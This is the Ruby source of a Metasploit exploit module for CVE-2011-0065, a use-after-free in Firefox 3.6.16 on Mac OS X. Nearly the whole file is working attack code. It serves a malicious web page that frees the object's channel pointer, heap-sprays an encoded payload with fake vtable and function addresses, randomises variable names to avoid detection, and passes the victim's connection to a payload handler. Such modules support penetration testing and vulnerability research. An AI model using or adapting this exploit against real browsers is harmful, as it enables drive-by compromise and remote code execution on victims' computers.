1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "3.6.16", :ua_maxver => "3.6.16", :os_name => OperatingSystems::MAC_OSX, :javascript => true, :rank => NormalRanking, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability', 'Description'=> %q{ This module exploits an use after free vulnerability in Mozilla Firefox 3.6.16. An OBJECT Element mChannel can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. (Discovered by regenrecht). Mac OS X version by argp, tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8. }, 'License'=> MSF_LICENSE, 'Author' => [ 'regenrecht', # discovery 'Rh0',# windows metasploit module 'argp <argp[at]census-labs.com>'# mac os x target ], 'References' => [ ['CVE','2011-0065'], ['OSVDB','72085'], ['URL','https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], ['URL','http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'Payload'=> { 'Space' => 1024, }, 'Platform' => 'osx', 'Targets'=> [ [ 'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)', { 'Arch' => ARCH_X86, 'Fakevtable' => 0x2727, 'Fakefunc' => 0x2727001c, } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 10 2011' )) end def on_request_uri(cli, request) # Random JavaScript variable names js_element_name= rand_text_alpha(rand(10) + 5) js_obj_addr_name = rand_text_alpha(rand(10) + 5) js_sc_name = rand_text_alpha(rand(10) + 5) js_ret_addr_name = rand_text_alpha(rand(10) + 5) js_chunk_name= rand_text_alpha(rand(10) + 5) js_final_chunk_name= rand_text_alpha(rand(10) + 5) js_block_name= rand_text_alpha(rand(10) + 5) js_array_name= rand_text_alpha(rand(10) + 5) # check for non vulnerable targets agent = request.headers['User-Agent'] if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/ print_error("Target not supported: #{agent}") if datastore['VERBOSE'] send_not_found(cli) return end # Re-generate the payload return if ((payload = regenerate_payload(cli).encoded) == nil) payload_buf= '' payload_buf << payload escaped_payload = Rex::Text.to_unescape(payload_buf) # setup the fake memory references my_target = targets[0] # in case we add more targets later fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v')) fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*')) exploit_js = <<-JS #{js_element_name} = document.getElementById("d"); #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink); #{js_element_name}.onChannelRedirect(null, new Object, 0) #{js_obj_addr_name} = unescape("\x00#{fakevtable}"); var #{js_sc_name} = unescape("#{escaped_payload}"); var #{js_ret_addr_name} = unescape("#{fakefunc}"); while(#{js_ret_addr_name}.length < 0x120) { #{js_ret_addr_name} += #{js_ret_addr_name}; } var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18); #{js_chunk_name} += #{js_sc_name}; #{js_chunk_name} += #{js_ret_addr_name}; var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2); while(#{js_final_chunk_name}.length < 0x800000) { #{js_final_chunk_name} += #{js_final_chunk_name}; } var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2); #{js_array_name} = new Array() for(n = 0; n < 0x220; n++) { #{js_array_name}[n] = #{js_block_name} + #{js_sc_name}; } JS html = <<-HTML <html> <body> <object id="d"><object> <script type="text/javascript"> #{exploit_js} </script> </body> </html> HTML #Remove the extra tabs html = html.gsub(/^\t\t/, '') print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end |